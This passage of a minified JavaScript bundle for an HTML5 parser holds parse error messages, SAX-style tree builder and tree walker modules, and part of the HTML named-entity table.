tag.\",\"incorrect-cr-newline-entity\":\"Incorrect CR newline entity, replaced with LF.\",\"illegal-windows-1252-entity\":\"Entity used with illegal number (windows-1252 reference).\",\"cant-convert-numeric-entity\":\"Numeric entity couldn't be converted to character (codepoint U+{charAsInt}).\",\"invalid-numeric-entity-replaced\":\"Numeric entity represents an illegal codepoint. Expanded to the C1 controls range.\",\"numeric-entity-without-semicolon\":\"Numeric entity didn't end with ';'.\",\"expected-numeric-entity-but-got-eof\":\"Numeric entity expected. Got end of file instead.\",\"expected-numeric-entity\":\"Numeric entity expected but none found.\",\"named-entity-without-semicolon\":\"Named entity didn't end with ';'.\",\"expected-named-entity\":\"Named entity expected. Got none.\",\"attributes-in-end-tag\":\"End tag contains unexpected attributes.\",\"self-closing-flag-on-end-tag\":\"End tag contains unexpected self-closing flag.\",\"bare-less-than-sign-at-eof\":\"End of file after <.\",\"expected-tag-name-but-got-right-bracket\":\"Expected tag name. Got '>' instead.\",\"expected-tag-name-but-got-question-mark\":\"Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)\",\"expected-tag-name\":\"Expected tag name. Got something else instead.\",\"expected-closing-tag-but-got-right-bracket\":\"Expected closing tag. Got '>' instead. Ignoring '</>'.\",\"expected-closing-tag-but-got-eof\":\"Expected closing tag. Unexpected end of file.\",\"expected-closing-tag-but-got-char\":\"Expected closing tag. Unexpected character '{data}' found.\",\"eof-in-tag-name\":\"Unexpected end of file in the tag name.\",\"expected-attribute-name-but-got-eof\":\"Unexpected end of file. Expected attribute name instead.\",\"eof-in-attribute-name\":\"Unexpected end of file in attribute name.\",\"invalid-character-in-attribute-name\":\"Invalid character in attribute name.\",\"duplicate-attribute\":\"Dropped duplicate attribute '{name}' on tag.\",\"expected-end-of-tag-but-got-eof\":\"Unexpected end of file. Expected = or end of tag.\",\"expected-attribute-value-but-got-eof\":\"Unexpected end of file. Expected attribute value.\",\"expected-attribute-value-but-got-right-bracket\":\"Expected attribute value. Got '>' instead.\",\"unexpected-character-in-unquoted-attribute-value\":\"Unexpected character in unquoted attribute\",\"invalid-character-after-attribute-name\":\"Unexpected character after attribute name.\",\"unexpected-character-after-attribute-value\":\"Unexpected character after attribute value.\",\"eof-in-attribute-value-double-quote\":'Unexpected end of file in attribute value (\").',\"eof-in-attribute-value-single-quote\":\"Unexpected end of file in attribute value (').\",\"eof-in-attribute-value-no-quotes\":\"Unexpected end of file in attribute value.\",\"eof-after-attribute-value\":\"Unexpected end of file after attribute value.\",\"unexpected-eof-after-solidus-in-tag\":\"Unexpected end of file in tag. Expected >.\",\"unexpected-character-after-solidus-in-tag\":\"Unexpected character after / in tag. Expected >.\",\"expected-dashes-or-doctype\":\"Expected '--' or 'DOCTYPE'. Not found.\",\"unexpected-bang-after-double-dash-in-comment\":\"Unexpected ! after -- in comment.\",\"incorrect-comment\":\"Incorrect comment.\",\"eof-in-comment\":\"Unexpected end of file in comment.\",\"eof-in-comment-end-dash\":\"Unexpected end of file in comment (-).\",\"unexpected-dash-after-double-dash-in-comment\":\"Unexpected '-' after '--' found in comment.\",\"eof-in-comment-double-dash\":\"Unexpected end of file in comment (--).\",\"eof-in-comment-end-bang-state\":\"Unexpected end of file in comment.\",\"unexpected-char-in-comment\":\"Unexpected character in comment found.\",\"need-space-after-doctype\":\"No space after literal string 'DOCTYPE'.\",\"expected-doctype-name-but-got-right-bracket\":\"Unexpected > character. Expected DOCTYPE name.\",\"expected-doctype-name-but-got-eof\":\"Unexpected end of file. Expected DOCTYPE name.\",\"eof-in-doctype-name\":\"Unexpected end of file in DOCTYPE name.\",\"eof-in-doctype\":\"Unexpected end of file in DOCTYPE.\",\"expected-space-or-right-bracket-in-doctype\":\"Expected space or '>'. Got '{data}'.\",\"unexpected-end-of-doctype\":\"Unexpected end of DOCTYPE.\",\"unexpected-char-in-doctype\":\"Unexpected character in DOCTYPE.\",\"eof-in-bogus-doctype\":\"Unexpected end of file in bogus doctype.\",\"eof-in-innerhtml\":\"Unexpected EOF in inner html mode.\",\"unexpected-doctype\":\"Unexpected DOCTYPE. Ignored.\",\"non-html-root\":\"html needs to be the first start tag.\",\"expected-doctype-but-got-eof\":\"Unexpected End of file. Expected DOCTYPE.\",\"unknown-doctype\":\"Erroneous DOCTYPE. Expected <!DOCTYPE html>.\",\"quirky-doctype\":\"Quirky doctype. Expected <!DOCTYPE html>.\",\"almost-standards-doctype\":\"Almost standards mode doctype. Expected <!DOCTYPE html>.\",\"obsolete-doctype\":\"Obsolete doctype. Expected <!DOCTYPE html>.\",\"expected-doctype-but-got-chars\":\"Non-space characters found without seeing a doctype first. Expected e.g. <!DOCTYPE html>.\",\"expected-doctype-but-got-start-tag\":\"Start tag seen without seeing a doctype first. Expected e.g. <!DOCTYPE html>.\",\"expected-doctype-but-got-end-tag\":\"End tag seen without seeing a doctype first. Expected e.g. <!DOCTYPE html>.\",\"end-tag-after-implied-root\":\"Unexpected end tag ({name}) after the (implied) root element.\",\"expected-named-closing-tag-but-got-eof\":\"Unexpected end of file. Expected end tag ({name}).\",\"two-heads-are-not-better-than-one\":\"Unexpected start tag head in existing head. Ignored.\",\"unexpected-end-tag\":\"Unexpected end tag ({name}). Ignored.\",\"unexpected-implied-end-tag\":\"End tag {name} implied, but there were open elements.\",\"unexpected-start-tag-out-of-my-head\":\"Unexpected start tag ({name}) that can be in head. Moved.\",\"unexpected-start-tag\":\"Unexpected start tag ({name}).\",\"missing-end-tag\":\"Missing end tag ({name}).\",\"missing-end-tags\":\"Missing end tags ({name}).\",\"unexpected-start-tag-implies-end-tag\":\"Unexpected start tag ({startName}) implies end tag ({endName}).\",\"unexpected-start-tag-treated-as\":\"Unexpected start tag ({originalName}). Treated as {newName}.\",\"deprecated-tag\":\"Unexpected start tag {name}. Don't use it!\",\"unexpected-start-tag-ignored\":\"Unexpected start tag {name}. Ignored.\",\"expected-one-end-tag-but-got-another\":\"Unexpected end tag ({gotName}). Missing end tag ({expectedName}).\",\"end-tag-too-early\":\"End tag ({name}) seen too early. Expected other end tag.\",\"end-tag-too-early-named\":\"Unexpected end tag ({gotName}). Expected end tag ({expectedName}.\",\"end-tag-too-early-ignored\":\"End tag ({name}) seen too early. Ignored.\",\"adoption-agency-1.1\":\"End tag ({name}) violates step 1, paragraph 1 of the adoption agency algorithm.\",\"adoption-agency-1.2\":\"End tag ({name}) violates step 1, paragraph 2 of the adoption agency algorithm.\",\"adoption-agency-1.3\":\"End tag ({name}) violates step 1, paragraph 3 of the adoption agency algorithm.\",\"adoption-agency-4.4\":\"End tag ({name}) violates step 4, paragraph 4 of the adoption agency algorithm.\",\"unexpected-end-tag-treated-as\":\"Unexpected end tag ({originalName}). Treated as {newName}.\",\"no-end-tag\":\"This element ({name}) has no end tag.\",\"unexpected-implied-end-tag-in-table\":\"Unexpected implied end tag ({name}) in the table phase.\",\"unexpected-implied-end-tag-in-table-body\":\"Unexpected implied end tag ({name}) in the table body phase.\",\"unexpected-char-implies-table-voodoo\":\"Unexpected non-space characters in table context caused voodoo mode.\",\"unexpected-hidden-input-in-table\":\"Unexpected input with type hidden in table context.\",\"unexpected-form-in-table\":\"Unexpected form in table context.\",\"unexpected-start-tag-implies-table-voodoo\":\"Unexpected start tag ({name}) in table context caused voodoo mode.\",\"unexpected-end-tag-implies-table-voodoo\":\"Unexpected end tag ({name}) in table context caused voodoo mode.\",\"unexpected-cell-in-table-body\":\"Unexpected table cell start tag ({name}) in the table body phase.\",\"unexpected-cell-end-tag\":\"Got table cell end tag ({name}) while required end tags are missing.\",\"unexpected-end-tag-in-table-body\":\"Unexpected end tag ({name}) in the table body phase. Ignored.\",\"unexpected-implied-end-tag-in-table-row\":\"Unexpected implied end tag ({name}) in the table row phase.\",\"unexpected-end-tag-in-table-row\":\"Unexpected end tag ({name}) in the table row phase. Ignored.\",\"unexpected-select-in-select\":\"Unexpected select start tag in the select phase treated as select end tag.\",\"unexpected-input-in-select\":\"Unexpected input start tag in the select phase.\",\"unexpected-start-tag-in-select\":\"Unexpected start tag token ({name}) in the select phase. Ignored.\",\"unexpected-end-tag-in-select\":\"Unexpected end tag ({name}) in the select phase. Ignored.\",\"unexpected-table-element-start-tag-in-select-in-table\":\"Unexpected table element start tag ({name}) in the select in table phase.\",\"unexpected-table-element-end-tag-in-select-in-table\":\"Unexpected table element end tag ({name}) in the select in table phase.\",\"unexpected-char-after-body\":\"Unexpected non-space characters in the after body phase.\",\"unexpected-start-tag-after-body\":\"Unexpected start tag token ({name}) in the after body phase.\",\"unexpected-end-tag-after-body\":\"Unexpected end tag token ({name}) in the after body phase.\",\"unexpected-char-in-frameset\":\"Unepxected characters in the frameset phase. Characters ignored.\",\"unexpected-start-tag-in-frameset\":\"Unexpected start tag token ({name}) in the frameset phase. Ignored.\",\"unexpected-frameset-in-frameset-innerhtml\":\"Unexpected end tag token (frameset in the frameset phase (innerHTML).\",\"unexpected-end-tag-in-frameset\":\"Unexpected end tag token ({name}) in the frameset phase. Ignored.\",\"unexpected-char-after-frameset\":\"Unexpected non-space characters in the after frameset phase. Ignored.\",\"unexpected-start-tag-after-frameset\":\"Unexpected start tag ({name}) in the after frameset phase. Ignored.\",\"unexpected-end-tag-after-frameset\":\"Unexpected end tag ({name}) in the after frameset phase. Ignored.\",\"expected-eof-but-got-char\":\"Unexpected non-space characters. Expected end of file.\",\"expected-eof-but-got-start-tag\":\"Unexpected start tag ({name}). Expected end of file.\",\"expected-eof-but-got-end-tag\":\"Unexpected end tag ({name}). Expected end of file.\",\"unexpected-end-table-in-caption\":\"Unexpected end table tag in caption. Generates implied end caption.\",\"end-html-in-innerhtml\":\"Unexpected html end tag in inner html mode.\",\"eof-in-table\":\"Unexpected end of file. Expected table content.\",\"eof-in-script\":\"Unexpected end of file. Expected script content.\",\"non-void-element-with-trailing-solidus\":\"Trailing solidus not allowed on element {name}.\",\"unexpected-html-element-in-foreign-content\":'HTML start tag \"{name}\" in a foreign namespace context.',\"unexpected-start-tag-in-table\":\"Unexpected {name}. Expected table content.\"}},{}],9:[function(e,t,n){function o(){this.contentHandler=null,this._errorHandler=null,this._treeBuilder=new r,this._tokenizer=new i(this._treeBuilder),this._scriptingEnabled=!1}var r=e(\"./SAXTreeBuilder\").SAXTreeBuilder,i=e(\"../Tokenizer\").Tokenizer,s=e(\"./TreeParser\").TreeParser;o.prototype.parse=function(e){this._tokenizer.tokenize(e);var t=this._treeBuilder.document;t&&(new s(this.contentHandler)).parse(t)},o.prototype.parseFragment=function(e,t){this._treeBuilder.setFragmentContext(t),this._tokenizer.tokenize(e);var n=this._treeBuilder.getFragment();n&&(new s(this.contentHandler)).parse(n)},Object.defineProperty(o.prototype,\"scriptingEnabled\",{get:function(){return this._scriptingEnabled},set:function(e){this._scriptingEnabled=e,this._treeBuilder.scriptingEnabled=e}}),Object.defineProperty(o.prototype,\"errorHandler\",{get:function(){return this._errorHandler},set:function(e){this._errorHandler=e,this._treeBuilder.errorHandler=e}}),n.SAXParser=o},{\"../Tokenizer\":5,\"./SAXTreeBuilder\":10,\"./TreeParser\":11}],10:[function(e,t,n){function s(){i.call(this)}function o(e,t){for(var n=0;n<e.attributes.length;n++){var r=e.attributes[n];if(r.nodeName===t)return r.nodeValue}}function a(e){e?(this.columnNumber=e.columnNumber,this.lineNumber=e.lineNumber):(this.columnNumber=-1,this.lineNumber=-1),this.parentNode=null,this.nextSibling=null,this.firstChild=null}function f(e){a.call(this,e),this.lastChild=null,this._endLocator=null}function l(e){f.call(this,e),this.nodeType=u.DOCUMENT}function c(){f.call(this,new Locator),this.nodeType=u.DOCUMENT_FRAGMENT}function h(e,t,n,r,i,s){f.call(this,e),this.uri=t,this.localName=n,this.qName=r,this.attributes=i,this.prefixMappings=s,this.nodeType=u.ELEMENT}function p(e,t){a.call(this,e),this.data=t,this.nodeType=u.CHARACTERS}function d(e,t){a.call(this,e),this.data=t,this.nodeType=u.IGNORABLE_WHITESPACE}function v(e,t){a.call(this,e),this.data=t,this.nodeType=u.COMMENT}function m(e){f.call(this,e),this.nodeType=u.CDATA}function g(e){f.call(this),this.name=e,this.nodeType=u.ENTITY}function y(e){a.call(this),this.name=e,this.nodeType=u.SKIPPED_ENTITY}function b(e,t){a.call(this),this.target=e,this.data=t}function w(e,t,n){f.call(this),this.name=e,this.publicIdentifier=t,this.systemIdentifier=n,this.nodeType=u.DTD}var r=e(\"util\"),i=e(\"../TreeBuilder\").TreeBuilder;r.inherits(s,i),s.prototype.start=function(e){this.document=new l(this.tokenizer)},s.prototype.end=function(){this.document.endLocator=this.tokenizer},s.prototype.insertDoctype=function(e,t,n){var r=new w(this.tokenizer,e,t,n);r.endLocator=this.tokenizer,this.document.appendChild(r)},s.prototype.createElement=function(e,t,n){var r=new h(this.tokenizer,e,t,t,n||[]);return r},s.prototype.insertComment=function(e,t){t||(t=this.currentStackItem());var n=new v(this.tokenizer,e);t.appendChild(n)},s.prototype.appendCharacters=function(e,t){var n=new p(this.tokenizer,t);e.appendChild(n)},s.prototype.insertText=function(e){if(this.redirectAttachToFosterParent&&this.openElements.top.isFosterParenting()){var t=this.openElements.findIndex(\"table\"),n=this.openElements.item(t),r=n.node;if(t===0)return this.appendCharacters(r,e);var i=new p(this.tokenizer,e),s=r.parentNode;if(s){s.insertBetween(i,r.previousSibling,r);return}var o=this.openElements.item(t-1).node;o.appendChild(i);return}this.appendCharacters(this.currentStackItem().node,e)},s.prototype.attachNode=function(e,t){t.appendChild(e)},s.prototype.attachNodeToFosterParent=function(e,t,n){var r=t.parentNode;r?r.insertBetween(e,t.previousSibling,t):n.appendChild(e)},s.prototype.detachFromParent=function(e){e.detach()},s.prototype.reparentChildren=function(e,t){t.appendChildren(e.firstChild)},s.prototype.getFragment=function(){var e=new c;return this.reparentChildren(this.openElements.rootNode,e),e},s.prototype.addAttributesToElement=function(e,t){for(var n=0;n<t.length;n++){var r=t[n];o(e,r.nodeName)||e.attributes.push(r)}};var u={CDATA:1,CHARACTERS:2,COMMENT:3,DOCUMENT:4,DOCUMENT_FRAGMENT:5,DTD:6,ELEMENT:7,ENTITY:8,IGNORABLE_WHITESPACE:9,PROCESSING_INSTRUCTION:10,SKIPPED_ENTITY:11};a.prototype.visit=function(e){throw new Error(\"Not Implemented\")},a.prototype.revisit=function(e){return},a.prototype.detach=function(){this.parentNode!==null&&(this.parentNode.removeChild(this),this.parentNode=null)},Object.defineProperty(a.prototype,\"previousSibling\",{get:function(){var e=null,t=this.parentNode.firstChild;for(;;){if(this==t)return e;e=t,t=t.nextSibling}}}),f.prototype=Object.create(a.prototype),f.prototype.insertBefore=function(e,t){if(!t)return this.appendChild(e);e.detach(),e.parentNode=this;if(this.firstChild==t)e.nextSibling=t,this.firstChild=e;else{var n=this.firstChild,r=this.firstChild.nextSibling;while(r!=t)n=r,r=r.nextSibling;n.nextSibling=e,e.nextSibling=r}return e},f.prototype.insertBetween=function(e,t,n){return n?(e.detach(),e.parentNode=this,e.nextSibling=n,t?t.nextSibling=e:firstChild=e,e):this.appendChild(e)},f.prototype.appendChild=function(e){return e.detach(),e.parentNode=this,this.firstChild?this.lastChild.nextSibling=e:this.firstChild=e,this.lastChild=e,e},f.prototype.appendChildren=function(e){var t=e.firstChild;if(!t)return;var n=e;this.firstChild?this.lastChild.nextSibling=t:this.firstChild=t,this.lastChild=n.lastChild;do t.parentNode=this;while(t=t.nextSibling);n.firstChild=null,n.lastChild=null},f.prototype.removeChild=function(e){if(this.firstChild==e)this.firstChild=e.nextSibling,this.lastChild==e&&(this.lastChild=null);else{var t=this.firstChild,n=this.firstChild.nextSibling;while(n!=e)t=n,n=n.nextSibling;t.nextSibling=e.nextSibling,this.lastChild==e&&(this.lastChild=t)}return e.parentNode=null,e},Object.defineProperty(f.prototype,\"endLocator\",{get:function(){return this._endLocator},set:function(e){this._endLocator={lineNumber:e.lineNumber,columnNumber:e.columnNumber}}}),l.prototype=Object.create(f.prototype),l.prototype.visit=function(e){e.startDocument(this)},l.prototype.revisit=function(e){e.endDocument(this.endLocator)},c.prototype=Object.create(f.prototype),c.prototype.visit=function(e){},h.prototype=Object.create(f.prototype),h.prototype.visit=function(e){if(this.prefixMappings)for(var t in prefixMappings){var n=prefixMappings[t];e.startPrefixMapping(n.getPrefix(),n.getUri(),this)}e.startElement(this.uri,this.localName,this.qName,this.attributes,this)},h.prototype.revisit=function(e){e.endElement(this.uri,this.localName,this.qName,this.endLocator);if(this.prefixMappings)for(var t in prefixMappings){var n=prefixMappings[t];e.endPrefixMapping(n.getPrefix(),this.endLocator)}},p.prototype=Object.create(a.prototype),p.prototype.visit=function(e){e.characters(this.data,0,this.data.length,this)},d.prototype=Object.create(a.prototype),d.prototype.visit=function(e){e.ignorableWhitespace(this.data,0,this.data.length,this)},v.prototype=Object.create(a.prototype),v.prototype.visit=function(e){e.comment(this.data,0,this.data.length,this)},m.prototype=Object.create(f.prototype),m.prototype.visit=function(e){e.startCDATA(this)},m.prototype.revisit=function(e){e.endCDATA(this.endLocator)},g.prototype=Object.create(f.prototype),g.prototype.visit=function(e){e.startEntity(this.name,this)},g.prototype.revisit=function(e){e.endEntity(this.name)},y.prototype=Object.create(a.prototype),y.prototype.visit=function(e){e.skippedEntity(this.name,this)},b.prototype=Object.create(a.prototype),b.prototype.visit=function(e){e.processingInstruction(this.target,this.data,this)},b.prototype.getNodeType=function(){return u.PROCESSING_INSTRUCTION},w.prototype=Object.create(f.prototype),w.prototype.visit=function(e){e.startDTD(this.name,this.publicIdentifier,this.systemIdentifier,this)},w.prototype.revisit=function(e){e.endDTD()},n.SAXTreeBuilder=s},{\"../TreeBuilder\":6,util:20}],11:[function(e,t,n){function r(e,t){this.contentHandler,this.lexicalHandler,this.locatorDelegate;if(!e)throw new IllegalArgumentException(\"contentHandler was null.\");this.contentHandler=e,t?this.lexicalHandler=t:this.lexicalHandler=new i}function i(){}r.prototype.parse=function(e){this.contentHandler.documentLocator=this;var t=e,n;for(;;){t.visit(this);if(n=t.firstChild){t=n;continue}for(;;){t.revisit(this);if(t==e)return;if(n=t.nextSibling){t=n;break}t=t.parentNode}}},r.prototype.characters=function(e,t,n,r){this.locatorDelegate=r,this.contentHandler.characters(e,t,n)},r.prototype.endDocument=function(e){this.locatorDelegate=e,this.contentHandler.endDocument()},r.prototype.endElement=function(e,t,n,r){this.locatorDelegate=r,this.contentHandler.endElement(e,t,n)},r.prototype.endPrefixMapping=function(e,t){this.locatorDelegate=t,this.contentHandler.endPrefixMapping(e)},r.prototype.ignorableWhitespace=function(e,t,n,r){this.locatorDelegate=r,this.contentHandler.ignorableWhitespace(e,t,n)},r.prototype.processingInstruction=function(e,t,n){this.locatorDelegate=n,this.contentHandler.processingInstruction(e,t)},r.prototype.skippedEntity=function(e,t){this.locatorDelegate=t,this.contentHandler.skippedEntity(e)},r.prototype.startDocument=function(e){this.locatorDelegate=e,this.contentHandler.startDocument()},r.prototype.startElement=function(e,t,n,r,i){this.locatorDelegate=i,this.contentHandler.startElement(e,t,n,r)},r.prototype.startPrefixMapping=function(e,t,n){this.locatorDelegate=n,this.contentHandler.startPrefixMapping(e,t)},r.prototype.comment=function(e,t,n,r){this.locatorDelegate=r,this.lexicalHandler.comment(e,t,n)},r.prototype.endCDATA=function(e){this.locatorDelegate=e,this.lexicalHandler.endCDATA()},r.prototype.endDTD=function(e){this.locatorDelegate=e,this.lexicalHandler.endDTD()},r.prototype.endEntity=function(e,t){this.locatorDelegate=t,this.lexicalHandler.endEntity(e)},r.prototype.startCDATA=function(e){this.locatorDelegate=e,this.lexicalHandler.startCDATA()},r.prototype.startDTD=function(e,t,n,r){this.locatorDelegate=r,this.lexicalHandler.startDTD(e,t,n)},r.prototype.startEntity=function(e,t){this.locatorDelegate=t,this.lexicalHandler.startEntity(e)},Object.defineProperty(r.prototype,\"columnNumber\",{get:function(){return this.locatorDelegate?this.locatorDelegate.columnNumber:-1}}),Object.defineProperty(r.prototype,\"lineNumber\",{get:function(){return this.locatorDelegate?this.locatorDelegate.lineNumber:-1}}),i.prototype.comment=function(){},i.prototype.endCDATA=function(){},i.prototype.endDTD=function(){},i.prototype.endEntity=function(){},i.prototype.startCDATA=function(){},i.prototype.startDTD=function(){},i.prototype.startEntity=function(){},n.TreeParser=r},{}],12:[function(e,t,n){t.exports={\"Aacute;\":\"\\u00c1\",Aacute:\"\\u00c1\",\"aacute;\":\"\\u00e1\",aacute:\"\\u00e1\",\"Abreve;\":\"\\u0102\",\"abreve;\":\"\\u0103\",\"ac;\":\"\\u223e\",\"acd;\":\"\\u223f\",\"acE;\":\"\\u223e\\u0333\",\"Acirc;\":\"\\u00c2\",Acirc:\"\\u00c2\",\"acirc;\":\"\\u00e2\",acirc:\"\\u00e2\",\"acute;\":\"\\u00b4\",acute:\"\\u00b4\",\"Acy;\":\"\\u0410\",\"acy;\":\"\\u0430\",\"AElig;\":\"\\u00c6\",AElig:\"\\u00c6\",\"aelig;\":\"\\u00e6\",aelig:\"\\u00e6\",\"af;\":\"\\u2061\",\"Afr;\":\"\\ud835\\udd04\",\"afr;\":\"\\ud835\\udd1e\",\"Agrave;\":\"\\u00c0\",Agrave:\"\\u00c0\",\"agrave;\":\"\\u00e0\",agrave:\"\\u00e0\",\"alefsym;\":\"\\u2135\",\"aleph;\":\"\\u2135\",\"Alpha;\":\"\\u0391\",\"alpha;\":\"\\u03b1\",\"Amacr;\":\"\\u0100\",\"amacr;\":\"\\u0101\",\"amalg;\":\"\\u2a3f\",\"amp;\":\"&\",amp:\"&\",\"AMP;\":\"&\",AMP:\"&\",\"andand;\":\"\\u2a55\",\"And;\":\"\\u2a53\",\"and;\":\"\\u2227\",\"andd;\":\"\\u2a5c\",\"andslope;\":\"\\u2a58\",\"andv;\":\"\\u2a5a\",\"ang;\":\"\\u2220\",\"ange;\":\"\\u29a4\",\"angle;\":\"\\u2220\",\"angmsdaa;\":\"\\u29a8\",\"angmsdab;\":\"\\u29a9\",\"angmsdac;\":\"\\u29aa\",\"angmsdad;\":\"\\u29ab\",\"angmsdae;\":\"\\u29ac\",\"angmsdaf;\":\"\\u29ad\",\"angmsdag;\":\"\\u29ae\",\"angmsdah;\":\"\\u29af\",\"angmsd;\":\"\\u2221\",\"angrt;\":\"\\u221f\",\"angrtvb;\":\"\\u22be\",\"angrtvbd;\":\"\\u299d\",\"angsph;\":\"\\u2222\",\"angst;\":\"\\u00c5\",\"angzarr;\":\"\\u237c\",\"Aogon;\":\"\\u0104\",\"aogon;\":\"\\u0105\",\"Aopf;\":\"\\ud835\\udd38\",\"aopf;\":\"\\ud835\\udd52\",\"apacir;\":\"\\u2a6f\",\"ap;\":\"\\u2248\",\"apE;\":\"\\u2a70\",\"ape;\":\"\\u224a\",\"apid;\":\"\\u224b\",\"apos;\":\"'\",\"ApplyFunction;\":\"\\u2061\",\"approx;\":\"\\u2248\",\"approxeq;\":\"\\u224a\",\"Aring;\":\"\\u00c5\",Aring:\"\\u00c5\",\"aring;\":\"\\u00e5\",aring:\"\\u00e5\",\"Ascr;\":\"\\ud835\\udc9c\",\"ascr;\":\"\\ud835\\udcb6\",\"Assign;\":\"\\u2254\",\"ast;\":\"*\",\"asymp;\":\"\\u2248\",\"asympeq;\":\"\\u224d\",\"Atilde;\":\"\\u00c3\",Atilde:\"\\u00c3\",\"atilde;\":\"\\u00e3\",atilde:\"\\u00e3\",\"Auml;\":\"\\u00c4\",Auml:\"\\u00c4\",\"auml;\":\"\\u00e4\",auml:\"\\u00e4\",\"awconint;\":\"\\u2233\",\"awint;\":\"\\u2a11\",\"backcong;\":\"\\u224c\",\"backepsilon;\":\"\\u03f6\",\"backprime;\":\"\\u2035\",\"backsim;\":\"\\u223d\",\"backsimeq;\":\"\\u22cd\",\"Backslash;\":\"\\u2216\",\"Barv;\":\"\\u2ae7\",\"barvee;\":\"\\u22bd\",\"barwed;\":\"\\u2305\",\"Barwed;\":\"\\u2306\",\"barwedge;\":\"\\u2305\",\"bbrk;\":\"\\u23b5\",\"bbrktbrk;\":\"\\u23b6\",\"bcong;\":\"\\u224c\",\"Bcy;\":\"\\u0411\",\"bcy;\":\"\\u0431\",\"bdquo;\":\"\\u201e\",\"becaus;\":\"\\u2235\",\"because;\":\"\\u2235\",\"Because;\":\"\\u2235\",\"bemptyv;\":\"\\u29b0\",\"bepsi;\":\"\\u03f6\",\"bernou;\":\"\\u212c\",\"Bernoullis;\":\"\\u212c\",\"Beta;\":\"\\u0392\",\"beta;\":\"\\u03b2\",\"beth;\":\"\\u2136\",\"between;\":\"\\u226c\",\"Bfr;\":\"\\ud835\\udd05\",\"bfr;\":\"\\ud835\\udd1f\",\"bigcap;\":\"\\u22c2\",\"bigcirc;\":\"\\u25ef\",\"bigcup;\":\"\\u22c3\",\"bigodot;\":\"\\u2a00\",\"bigoplus;\":\"\\u2a01\",\"bigotimes;\":\"\\u2a02\",\"bigsqcup;\":\"\\u2a06\",\"bigstar;\":\"\\u2605\",\"bigtriangledown;\":\"\\u25bd\",\"bigtriangleup;\":\"\\u25b3\",\"biguplus;\":\"\\u2a04\",\"bigvee;\":\"\\u22c1\",\"bigwedge;\":\"\\u22c0\",\"bkarow;\":\"\\u290d\",\"blacklozenge;\":\"\\u29eb\",\"blacksquare;\":\"\\u25aa\",\"blacktriangle;\":\"\\u25b4\",\"blacktriangledown;\":\"\\u25be\",\"blacktriangleleft;\":\"\\u25c2\",\"blacktriangleright;\":\"\\u25b8\",\"blank;\":\"\\u2423\",\"blk12;\":\"\\u2592\",\"blk14;\":\"\\u2591\",\"blk34;\":\"\\u2593\",\"block;\":\"\\u2588\",\"bne;\":\"=\\u20e5\",\"bnequiv;\":\"\\u2261\\u20e5\",\"bNot;\":\"\\u2aed\",\"bnot;\":\"\\u2310\",\"Bopf;\":\"\\ud835\\udd39\",\"bopf;\":\"\\ud835\\udd53\",\"bot;\":\"\\u22a5\",\"bottom;\":\"\\u22a5\",\"bowtie;\":\"\\u22c8\",\"boxbox;\":\"\\u29c9\",\"boxdl;\":\"\\u2510\",\"boxdL;\":\"\\u2555\",\"boxDl;\":\"\\u2556\",\"boxDL;\":\"\\u2557\",\"boxdr;\":\"\\u250c\",\"boxdR;\":\"\\u2552\",\"boxDr;\":\"\\u2553\",\"boxDR;\":\"\\u2554\",\"boxh;\":\"\\u2500\",\"boxH;\":\"\\u2550\",\"boxhd;\":\"\\u252c\",\"boxHd;\":\"\\u2564\",\"boxhD;\":\"\\u2565\",\"boxHD;\":\"\\u2566\",\"boxhu;\":\"\\u2534\",\"boxHu;\":\"\\u2567\",\"boxhU;\":\"\\u2568\",\"boxHU;\":\"\\u2569\",\"boxminus;\":\"\\u229f\",\"boxplus;\":\"\\u229e\",\"boxtimes;\":\"\\u22a0\",\"boxul;\":\"\\u2518\",\"boxuL;\":\"\\u255b\",\"boxUl;\":\"\\u255c\",\"boxUL;\":\"\\u255d\",\"boxur;\":\"\\u2514\",\"boxuR;\":\"\\u2558\",\"boxUr;\":\"\\u2559\",\"boxUR;\":\"\\u255a\",\"boxv;\":\"\\u2502\",\"boxV;\":\"\\u2551\",\"boxvh;\":\"\\u253c\",\"boxvH;\":\"\\u256a\",\"boxVh;\":\"\\u256b\",\"boxVH;\":\"\\u256c\",\"boxvl;\":\"\\u2524\",\"boxvL;\":\"\\u2561\",\"boxVl;\":\"\\u2562\",\"boxVL;\":\"\\u2563\",\"boxvr;\":\"\\u251c\",\"boxvR;\":\"\\u255e\",\"boxVr;\":\"\\u255f\",\"boxVR;\":\"\\u2560\",\"bprime;\":\"\\u2035\",\"breve;\":\"\\u02d8\",\"Breve;\":\"\\u02d8\",\"brvbar;\":\"\\u00a6\",brvbar:\"\\u00a6\",\"bscr;\":\"\\ud835\\udcb7\",\"Bscr;\":\"\\u212c\",\"bsemi;\":\"\\u204f\",\"bsim;\":\"\\u223d\",\"bsime;\":\"\\u22cd\",\"bsolb;\":\"\\u29c5\",\"bsol;\":\"\\\\\",\"bsolhsub;\":\"\\u27c8\",\"bull;\":\"\\u2022\",\"bullet;\":\"\\u2022\",\"bump;\":\"\\u224e\",\"bumpE;\":\"\\u2aae\",\"bumpe;\":\"\\u224f\",\"Bumpeq;\":\"\\u224e\",\"bumpeq;\":\"\\u224f\",\"Cacute;\":\"\\u0106\",\"cacute;\":\"\\u0107\",\"capand;\":\"\\u2a44\",\"capbrcup;\":\"\\u2a49\",\"capcap;\":\"\\u2a4b\",\"cap;\":\"\\u2229\",\"Cap;\":\"\\u22d2\",\"capcup;\":\"\\u2a47\",\"capdot;\":\"\\u2a40\",\"CapitalDifferentialD;\":\"\\u2145\",\"caps;\":\"\\u2229\\ufe00\",\"caret;\":\"\\u2041\",\"caron;\":\"\\u02c7\",\"Cayleys;\":\"\\u212d\",\"ccaps;\":\"\\u2a4d\",\"Ccaron;\":\"\\u010c\",\"ccaron;\":\"\\u010d\",\"Ccedil;\":\"\\u00c7\",Ccedil:\"\\u00c7\",\"ccedil;\":\"\\u00e7\",ccedil:\"\\u00e7\",\"Ccirc;\":\"\\u0108\",\"ccirc;\":\"\\u0109\",\"Cconint;\":\"\\u2230\",\"ccups;\":\"\\u2a4c\",\"ccupssm;\":\"\\u2a50\",\"Cdot;\":\"\\u010a\",\"cdot;\":\"\\u010b\",\"cedil;\":\"\\u00b8\",cedil:\"\\u00b8\",\"Cedilla;\":\"\\u00b8\",\"cemptyv;\":\"\\u29b2\",\"cent;\":\"\\u00a2\",cent:\"\\u00a2\",\"centerdot;\":\"\\u00b7\",\"CenterDot;\":\"\\u00b7\",\"cfr;\":\"\\ud835\\udd20\",\"Cfr;\":\"\\u212d\",\"CHcy;\":\"\\u0427\",\"chcy;\":\"\\u0447\",\"check;\":\"\\u2713\",\"checkmark;\":\"\\u2713\",\"Chi;\":\